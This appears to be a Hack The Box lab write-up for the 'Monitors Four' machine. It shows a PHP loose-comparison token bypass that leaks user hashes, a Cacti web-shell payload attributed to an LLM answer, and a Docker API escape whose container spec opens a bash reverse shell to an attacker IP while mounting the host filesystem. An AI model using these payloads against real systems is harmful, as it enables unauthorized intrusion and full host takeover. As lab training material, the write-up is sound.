Monitors Four
HTB Monitors Four writeup exploiting PHP loose comparison and Docker Desktop API access to obtain user and root flags.
Introduction
The objective of this challenge was to retrieve two (one for user and one for root) flags from the HTB machine.
I will refer with:
- <MACHINE_IP> the IP of the machine
- <ATTACKER_IP> the IP of my machine
How to get user flag
map <MACHINE_IP>
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-25 10:33 CET
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 10:33 (0:00:00 remaining)
Nmap scan report for <MACHINE_IP>
Host is up (0.093s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
Add the domain to /etc/hosts:
echo "<MACHINE_IP> monitorsfour.htb" | sudo tee -a /etc/hosts
Found PHP 8.3.27:
hatweb http://<MACHINE_IP>
http://<MACHINE_IP> [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx], IP[<MACHINE_IP>], RedirectLocation[http://monitorsfour.htb/], Title[302 Found], nginx
http://monitorsfour.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[sales@monitorsfour.htb], HTTPServer[nginx], IP[<MACHINE_IP>], JQuery, PHP[8.3.27], Script, Title[MonitorsFour - Networking Solutions], X-Powered-By[PHP/8.3.27], X-UA-Compatible[IE=edge], nginx
Use gobuster and dirsearch to find interesting dir/files:
$ gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,txt
...
$ dirsearch -u http://monitorsfour.htb -x 40
...
[11:03:49] 200 - 97B - /.env
[17:45:30] 200 - 35B - /user
...
$ curl "http://monitorsfour.htb/.env"
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=<REDACTED>
There is no way of accessing the db as it is in the internal network. We need to find another way
Before we saw that PHP is version 8.3.27, from this we can try to see if the site is vulnerable to loose equality. Also making a request to monitorsfour.htb/user (retrieved from the dirsearch command) gives:
$ curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}
$ curl http://monitorsfour.htb/user?token=0 # this trigger the loose equality LOL
[
{
"id":2,
"username":"admin",
"email":"admin@monitorsfour.htb",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36",
"role":"super user",
"token":"6be10377837c08eb0c",
"name":"Marcus Higgins", # <--- This will be important in the next step
"position":"System Administrator",
"dob":"1978-04-26",
"start_date":"2021-01-12",
"salary":"320800.00"
},{
"id":5,
"username":"mwatson",
"email":"mwatson@monitorsfour.htb",
"password":"69196959c16b26ef00b77d82cf6eb169",
"role":"super user",
"token":"0e543210987654321",
"name":"Michael Watson",
"position":"Website Administrator",
"dob":"1985-02-15",
"start_date":"2021-05-11",
"salary":"75000.00"
},{
"id":6,
"username":"janderson",
"email":"janderson@monitorsfour.htb",
"password":"2a22dcf99190c322d974c8df5ba3256b",
"role":"user",
"token":"0e999999999999999",
"name":"Jennifer Anderson",
"position":"Network Engineer",
"dob":"1990-07-16",
"start_date":"2021-06-20",
"salary":"68000.00"
},{
"id":7,
"username":"dthompson",
"email":"dthompson@monitorsfour.htb",
"password":"8d4a7e7fd08555133e056d9aacb1e519",
"role":"user",
"token":"0e111111111111111",
"name":"David Thompson",
"position":"Database Manager",
"dob":"1982-11-23",
"start_date":"2022-09-15",
"salary":"83000.00"
},{
"id":10,
"username":"bob",
"email":"email_test@example.com",
"password":"5f4dcc3b5aa765d61d8327deb882cf99",
"role":"super user",
"token":null,
"name":"Name",
"position":"Tester",
"dob":"2015-12-01",
"start_date":"2020-12-12",
"salary":"0.01"
}
]
At this point we need to crack the password hash 56b32eb43e6f15395f6c46c1c9e1cd36,
upon some manual checks we can easily find that it is an md5 and the corresponding pass is: wonderful1.
Now we need to utilize this credentials, but where ? I started fuzzing the website subdomains to see if there where other services, and if fact there was one:
$ ffuf -c -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 3
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 103ms]
:: Progress: [19966/19966] :: Job [1/1] :: 619 req/sec :: Duration: [0:00:52] :: Errors: 0 ::
We found cacti.monitorsfour.htb and with the credential marcus:wonderful1 (marcus is the name of the admin)
we can get the access to the main page, from which we find that cacti’s version is 1.2.29.
Next step is to search for a n-day vulnerability for this application, maybe an RCE that can give us a reverse shell. Nowadays with LLM we can query the internet in a much simpler way and what i got is exacly what i want:
To exploit these, you first need access to the console (valid credentials).
- 1. The Pre-requisite: Authentication
Since you are at the console login, check for **Default Credentials** immediately if you haven't yet. Cacti defaults are notorious:
- **User:** `admin`
- **Password:** `admin`
- **User:** `guest` (sometimes guest access is enabled with privileges)
**If you are NOT authenticated:**
There are no widely known _unauthenticated_ RCEs for 1.2.28. Your primary goal is to find credentials (check the source code, try `admin:admin`, or look for backup files like `cacti.sql.bak` via directory fuzzing).
- 2. The Exploit: Authenticated RCE (CVE-2025-24367 / CVE-2024-x)
There are vulnerabilities in the **Graph Template** and **SNMP** functionality in versions <= 1.2.28 that allow an authenticated user to write PHP files or inject commands.
**Option A: PHP File Creation via Graph Templates (CVE-2025-24367)**
This vulnerability allows an authenticated user to create arbitrary PHP scripts in the web root.
1. **Log in** to Cacti.
2. Navigate to **Console > Templates > Graph Templates**.
3. Create a new template or modify an existing one.
4. Look for fields related to **Data Source** or **Inputs** that allow custom text.
5. Inject a PHP payload. A simple web shell is best for Windows:
<!--<?php system($_GET['cmd']); ?>-->
6. Save the template. The vulnerability usually triggers when Cacti generates the RRD files or graph cache, writing your PHP code into a accessible file in the `resource/` or `scripts/` directory.
7. Trigger the graph generation (visit the graph in "Graphs" tab).
8. Find your shell (fuzz or check exploit paths, often `http://target/cacti/resource/myshell.php`).
The vuln CVE-2025-24367 is what we need ;). Following the steps deceipt by the LLM can get us a simple rev shell. Once getting the access to the machine we can simply do the following:
www-data@821fbd6a43fa:/home$ cd marcus
www-data@821fbd6a43fa:/home/marcus$ ls
user.txt
www-data@821fbd6a43fa:/home/marcus$ cat user.txt
cat user.txt
<REDACTED>
How to get root flag
We need a VM escape, first thing first we need to search if the Docker API is exposed:
Docker desktop (from Windows) is exposing the API on an internal TCP port without authentication, CVE-2025–9074. This allows anyone who can reach that port to send commands to Docker, effectively giving full control over the host system.
We leave the task to retrieve the right port to the reader (trying the default one ;). After knowing the endpoint port with a simple curl we can retrieve the docker setup:
$ curl -s http://192.168.65.7:2375/images/json
[
{
"Containers": 1,
"Created": 1762794130,
"Id": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
"Labels": { "com.docker.compose.project": "docker_setup", "com.docker.compose.service": "nginx-php", "com.docker.compose.version": "2.39.1" },
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
"size": 856
},
"RepoDigests": ["docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"],
"RepoTags": ["docker_setup-nginx-php:latest"],
"SharedSize": -1,
"Size": 1277167255
},
{
"Containers": 1,
"Created": 1762791053,
"Id": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
"Labels": {
"com.docker.compose.project": "docker_setup",
"com.docker.compose.service": "mariadb",
"com.docker.compose.version": "2.39.1",
"org.opencontainers.image.authors": "MariaDB Community",
"org.opencontainers.image.base.name": "docker.io/library/ubuntu:noble",
"org.opencontainers.image.description": "MariaDB Database for relational SQL",
"org.opencontainers.image.documentation": "https://hub.docker.com/_/mariadb/",
"org.opencontainers.image.licenses": "GPL-2.0",
"org.opencontainers.image.ref.name": "ubuntu",
"org.opencontainers.image.source": "https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.title": "MariaDB Database",
"org.opencontainers.image.url": "https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.vendor": "MariaDB Community",
"org.opencontainers.image.version": "11.4.8"
},
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
"size": 856
},
"RepoDigests": ["docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"],
"RepoTags": ["docker_setup-mariadb:latest"],
"SharedSize": -1,
"Size": 454269972
},
{
"Containers": 0,
"Created": 1759921496,
"Id": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
"Labels": null,
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
"size": 9218
},
"RepoDigests": ["alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"],
"RepoTags": ["alpine:latest"],
"SharedSize": -1,
"Size": 12794775
}
]
We create the malicious docker command, and do the following:
- Take the directory / from the Host machine and mount it inside my new container at /mnt/host_root
- We query the Docker API from within the machine
- Get the container id
- Finally start the container
[!WARNING]
It’s important that the attacker is listening on its machine, otherwise no reverse shell will be possible:
$ nc -lnvp <ATTACKER_OPEN_PORT>
www-data@821fbd6a43fa:~/html/cacti$ cat << EOF > create_cnt.json
{
"Image": "docker_setup-nginx-php:latest",
"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_OPEN_PORT> 0>&1"],
"HostConfig": {
"Binds": ["/:/mnt/host_root"]
},
"Tty": true,
"OpenStdin": true
}
EOF
www-data@821fbd6a43fa:~/html/cacti$ curl -H "Content-Type: application/json" -d @create_cnt.json http://192.168.65.7:2375/containers/create -o resp.json
www-data@821fbd6a43fa:~/html/cacti$ cat resp.json
{"Id":"8b7c97712509fb67e58c1768c6d764248fb765866d3ba5a1f3c13fe39f05fd85","Warnings":[]}
www-data@821fbd6a43fa:~/html/cacti$ curl -X POST http://192.168.65.7:2375/containers/8b7c97712509/start
nc -lnvp <ATTACKER_OPEN_PORT>
listening on [any] <ATTACKER_IP> ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<MACHINE_IP>] 59634
root@53e78aa1c294:/var/www/html# ls
cacti
index.nginx-debian.html
index.php
root@53e78aa1c294:/var/www/html# ls /mnt/
host_root
root@53e78aa1c294:/var/www/html# cd /mnt/host_root
root@53e78aa1c294:/mnt/host_root# ls -la
ls -la
total 42153
drwxr-xr-x 1 root root 100 Dec 25 17:59 .
drwxr-xr-x 1 root root 4096 Dec 25 18:23 ..
drwxr-xr-x 1 root root 2048 Aug 12 07:41 EFI
lrwxrwxrwx 1 root root 7 Aug 12 07:40 bin -> usr/bin
drwxr-xr-x 1 root root 2048 Aug 12 07:41 boot
-rw-r--r-- 1 root root 1968 Apr 29 2025 bpf-legacy.o
-rw-r--r-- 1 root root 1240 Apr 29 2025 bpf.o
drwxr-xr-x 1 root root 2048 Aug 12 07:40 containers
drwxr-xr-x 8 root root 3200 Dec 25 14:29 dev
drwxr-xr-x 1 root root 2048 Aug 12 07:40 dpkg.orig
drwxr-xr-x 1 root root 100 Dec 25 14:30 etc
drwxr-xr-x 1 root root 2048 May 9 2025 home
-rw-r--r-- 1 root root 105216 Apr 29 2025 host-network.o
drwxr-xr-x 2 root root 40 Dec 25 14:30 host_mnt
drwxr-xr-x 2 root root 40 Dec 25 17:59 host_root
-rwxr-xr-x 1 root root 42965400 Aug 12 07:39 init
lrwxrwxrwx 1 root root 7 Aug 12 07:40 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Aug 12 07:40 lib64 -> usr/lib64
drwxr-xr-x 1 root root 2048 Jul 21 00:00 media
drwxr-xr-x 4 root root 4096 Sep 12 21:51 mnt
drwxr-xr-x 1 root root 2048 Jul 22 09:00 mutagen-file-shares
drwxr-xr-x 1 root root 2048 Jul 22 09:00 mutagen-file-shares-mark
drwxr-xr-x 1 root root 2048 Jul 21 00:00 opt
drwxr-xr-x 25 root root 4096 Dec 25 14:29 parent-distro
dr-xr-xr-x 200 root root 0 Dec 25 14:30 proc
-rw-r--r-- 1 root root 43136 Apr 1 2025 pwatch.o
drwx------ 1 root root 2048 Aug 12 07:40 root
drwxr-xr-x 21 root root 660 Dec 25 14:30 run
lrwxrwxrwx 1 root root 8 Aug 12 07:40 sbin -> usr/sbin
drwxr-xr-x 1 root root 2048 Jul 22 09:00 services
drwxr-xr-x 1 root root 2048 Aug 12 07:41 src
drwxr-xr-x 1 root root 2048 Jul 21 00:00 srv
dr-xr-xr-x 13 root root 0 Dec 25 14:30 sys
drwxrwxrwt 2 root root 40 Dec 25 18:23 tmp
-rw-r--r-- 1 root root 7272 Apr 29 2025 udpv6csum.o
drwxr-xr-x 1 root root 60 Aug 12 07:40 usr
drwxr-xr-x 11 root root 240 Dec 25 14:30 var
root@53e78aa1c294:/mnt/host_root# ls -la /mnt/host_root/mnt/host
total 8
drwxr-xr-x 5 root root 4096 Sep 12 21:51 .
drwxr-xr-x 4 root root 4096 Sep 12 21:51 ..
drwxrwxrwx 1 root root 4096 Dec 2 12:02 c
drwxrwxrwt 3 root root 80 Dec 25 14:29 wsl
drwxrwxrwt 6 root root 240 Dec 25 14:29 wslg
root@53e78aa1c294:/mnt/host_root# cat /mnt/host_root/mnt/host/c/Users/Administrator/Desktop/root.txt
<REDACTED>